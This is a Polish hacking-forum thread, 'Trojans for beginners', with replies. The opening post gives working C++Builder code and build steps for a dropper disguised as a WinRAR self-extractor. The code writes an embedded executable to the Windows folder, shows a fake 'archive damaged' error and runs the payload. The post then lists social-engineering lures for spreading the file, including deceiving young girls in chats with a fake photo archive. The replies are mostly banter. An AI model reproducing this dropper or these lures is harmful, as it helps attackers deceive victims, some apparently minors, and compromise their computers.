Trojany dla początkujących

...czyli co i jak zrobić
TwojStary
Awatar użytkownika
Super VIP

Posty: 12652
Rejestracja: 15-04-2013, 00:03:10
Q: 206.90 [W][Kr]
Lokalizacja: Ukryte
Beczki: 540
Kontakt:

Trojany dla początkujących

#52596

Post autor: TwojStary » 06-12-2013, 15:15:20

Jest wiele sposobów na podrzucenie komuś trojana.
Nie odkryłem Ameryki, ale uważam, że ten sposób połączony z socjotechniką na chociażby
podstawowym poziomie może przynieść oczekiwane efekty.

Tworzymy dwa pliki textowe o rozszerzeniach *.RC i *.RH
Nazwa obydwóch musi być identyczna. W przykładzie przyjąłem, że te pliki to app.rh i app.rc

Zawartość pliku *.RC
-----------------------------------

Kod:

#include "app.rh"

<--nazwa pliku *.RH

Kod:

ID_APPL RCDATA "C:\\plik.exe"

<--nazwa programu wraz ze ścieżką do niego
-----------------------------------
Zawartość pliku *.RH
-----------------------------------

Kod:

#ifndef APP_RH

<--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define APP_RH

<--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define ID_APPL 1000

<--Gdzie ID_APPL to identyfikator zasobu. Liczba pozostaje bez zmian.

Kod:

#endif

-----------------------------------

Otwieramy BCB (testowane na BCB6)
Tworzymy nowy projekt
Ustawiamy wartości Form1 na:

Caption = Winrar Self Extractor
Color = clMaroon
TransparentColor = True
TransparentColorValue = clMaroon (Taki sam kolor jak podany w wartości "Color")
BorderStyle = BsNone

W menu "Project" wybieramy "Add To Project..." i wybieramy wcześniej utworzony plik *.RC

W pliku źródłowym Unit1.cpp

Pod wpisem #include "Unit1.h" dodajemy
-----------------------------------

Kod:

#include <memory>


Kod:

#include "app.rh"

<--nazwa pliku *.RH (Pliki *.RC i *.RH muszą być w tym samym folderze)
-----------------------------------
Tworzymy funkcje wypakowywującą nasz plik:
-----------------------------------------------

Kod:

void __fastcall Extractor(unsigned short ID, AnsiString FileName)
{
HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
if(!rsrc)
{
Application->MessageBox("Archiwum uszkodzone",
"WinRar Self Extractor", MB_OK | MB_ICONSTOP);
return;
}

DWORD Size = SizeofResource(HInstance, rsrc);
HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);

if(MemoryHandle == NULL) return;

BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);

std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
stream->Write(MemPtr, Size);
stream->Position = 0;

TMemoryStream *Ms = new TMemoryStream;
Ms->Position = 0;
Ms->LoadFromStream(stream.get());
Ms->Position = 0;
Ms->SaveToFile(FileName);
Ms->Free();
}

-------------------------------------------------

Funkcje wywołujemy w zdarzeniu Form1 OnActivate
-------------------------------------------------

Kod:

Extractor(ID_APPL, "C:\\Windows\\plik.exe");

<-ID_APPL identyfiktor pliku a ścieżka to miejsce docelowe

Kod:

Application->MessageBox("Archiwum uszkodzone.","Winrar Self Extractor",
MB_OK | MB_ICONHAND );

<-- Fałszywy komunikat o uszkodzeniu archiwum

Kod:

WinExec("C:\\Windows\\plik.exe", SW_SHOW);

<--Urachamia wypakowany plik

Kod:

Close();

<--Wiadomo chyba....
-------------------------------------------------

Project\Options\Packages i odznaczamy "Build with runtime packages"
Przechodzimy do zakładki Linker o odznaczamy "Use dynamic RTL" i "Use debug libraries"
Dopiero kompilujemy itd.

Ok. Doszliśmy do końca projektu (prawie).
Teraz wystarczy zmienić domyślną ikonę programu na ikone Self Extractora z Winrara.
Jeśli jej nie mamy bardzo prosto można ją wyciągnąć programem IrfanView.
Well Done (znowu prawie).

Teraz kilka wariantów na podrzucenie komuś tak spreparowanego pliku:

1. Głupim lolitkom na czatach mówiąc, że to kolekcja ze stu spakowanych zdjęć.
Jak by były wbrew pozorom nie ufne to mówisz, że dodawanie stu załączników jest
trochę uciążliwe i czasochłonne, a masz tyle zdjęć bo jesteś modelem itd..
Na pewno łykną.

2. Czekasz aż ktoś z sieci zapyta Cię o jakiś ważny dla niego program wtedy zmieniasz nazwę pliku na program którego szuka i dajesz mu to czego szukał ;)

3. Udostępniasz w sieci Plik z nazwą np. "9999 Tips & Tricks" lub coś w podobnie na co jest popyt i czekasz.
Tato co robiłeś jak mnie nie było na świecie? byłem TwoimStarym na BW. ~Finczy
ZYCIE POWODUJE PALENIE I PICIE
MGTOW

Remik
Awatar użytkownika
Super VIP

Posty: 7191
Rejestracja: 25-01-2013, 20:31:22
Q: 109.20 [W][Kr]
Beczki: 581
Kontakt:

Re: Trojany dla początkujących

#52618

Post autor: Remik » 06-12-2013, 23:52:30

Napisałbym poradnik na dobry phlising, ale zapodziałem plik z danymi, a nie pamiętam kodu. Ema.
100icki pisze:
  • ok to niech ci zdechnie wszystko co kochasz


zjamnik
User

Posty: 261
Rejestracja: 17-04-2013, 19:19:31
Q: 0.00 [W][Kr]

Re: Trojany dla początkujących

#53430

Post autor: zjamnik » 14-12-2013, 19:03:25

I co to niby robi?
Twoja sygnatura była nieregulaminowa i została usunięta przez coś.
Zapoznaj się z regulaminem.

TwojStary
Awatar użytkownika
Super VIP

Posty: 12652
Rejestracja: 15-04-2013, 00:03:10
Q: 206.90 [W][Kr]
Lokalizacja: Ukryte
Beczki: 540
Kontakt:

Re: Trojany dla początkujących

#53434

Post autor: TwojStary » 14-12-2013, 20:03:33

zjamnik pisze:I co to niby robi?
ZA TAKIE NIEŚMIESZNE ŻARTY O TEJ GODZINIE NIE RAZ JUŻ BANY LECIAŁY

Serio.
Tato co robiłeś jak mnie nie było na świecie? byłem TwoimStarym na BW. ~Finczy
ZYCIE POWODUJE PALENIE I PICIE
MGTOW

pikus
User

Posty: 134
Rejestracja: 23-12-2013, 08:43:43
Q: 0.00 [W][Kr]

Re: Trojany dla początkujących

#55394

Post autor: pikus » 23-12-2013, 14:42:07

Dzięki, przyda się :thumbup:

rusek
User

Posty: 204
Rejestracja: 07-12-2013, 20:29:31
Q: 0.00 [W][Kr]
Beczki: 4
Kontakt:

Re: Trojany dla początkujących

#62679

Post autor: rusek » 23-01-2014, 11:49:12

a gdzie jakieś pliki próbne? bo pisać mi się nie chce ;P

pawian
Awatar użytkownika
Moderator

Posty: 38442
Rejestracja: 05-11-2013, 17:01:25
Q: 12,835.90 [W][Kr]
Beczki: 863
Kontakt:

Re: Trojany dla początkujących

#62697

Post autor: pawian » 23-01-2014, 13:00:25

Pliki próbne pewnie usunięte z powodu trojanów :czesc:
Obrazek

rusek
User

Posty: 204
Rejestracja: 07-12-2013, 20:29:31
Q: 0.00 [W][Kr]
Beczki: 4
Kontakt:

Re: Trojany dla początkujących

#62702

Post autor: rusek » 23-01-2014, 13:09:40

na serwerze jest antywirus?

TR-17F
User

Posty: 63
Rejestracja: 21-03-2014, 00:00:43
Q: 0.00 [W][Kr]
Beczki: 1
Kontakt:

Re: Trojany dla początkujących

#91867

Post autor: TR-17F » 17-05-2014, 22:28:03

Tak, Avast.
Poradnik fajny, ciekawe czy sam pisałeś czy copy & paste.

Remik
Awatar użytkownika
Super VIP

Posty: 7191
Rejestracja: 25-01-2013, 20:31:22
Q: 109.20 [W][Kr]
Beczki: 581
Kontakt:

Re: Trojany dla początkujących

#91870

Post autor: Remik » 17-05-2014, 22:37:58

phpBB [youtube]


Musiałem xD
Za ten post Remik otrzymał beczkę od:
Dranz
100icki pisze:
  • ok to niech ci zdechnie wszystko co kochasz

Ridż
Awatar użytkownika
User

Posty: 100429
Rejestracja: 13-04-2013, 21:50:27
Q: 22,530.00 [W][Kr]
Beczki: 1238
Kontakt:

Re: Trojany dla początkujących

#91871

Post autor: Ridż » 17-05-2014, 22:43:54

Remik pisze:
phpBB [youtube]


Musiałem xD
chujowe, niezabawne
To konto odgrywa to wymyśloną postać. Wszystkie posty to fikcja literacka i przedstawiają wcześniej napisane scenariusze.

Remik
Awatar użytkownika
Super VIP

Posty: 7191
Rejestracja: 25-01-2013, 20:31:22
Q: 109.20 [W][Kr]
Beczki: 581
Kontakt:

Re: Trojany dla początkujących

#92203

Post autor: Remik » 19-05-2014, 16:06:36

Ridż pisze: Musiałem xD
chujowe, niezabawne[/quote]

Przepraszam, że wyśmiewam się z Twojej dziewczyny :badger:
100icki pisze:
  • ok to niech ci zdechnie wszystko co kochasz

Ridż
Awatar użytkownika
User

Posty: 100429
Rejestracja: 13-04-2013, 21:50:27
Q: 22,530.00 [W][Kr]
Beczki: 1238
Kontakt:

Re: Trojany dla początkujących

#92208

Post autor: Ridż » 19-05-2014, 16:16:53

Remik pisze:Przepraszam, że wyśmiewam się z Twojej dziewczyny :badger:
:b: :b:
Mimo wszystko to chujowe.
To konto odgrywa to wymyśloną postać. Wszystkie posty to fikcja literacka i przedstawiają wcześniej napisane scenariusze.

Szybka odpowiedź

   
ODPOWIEDZ

Kto jest online

Użytkownicy przeglądający to forum: Olisadebe i 0 gości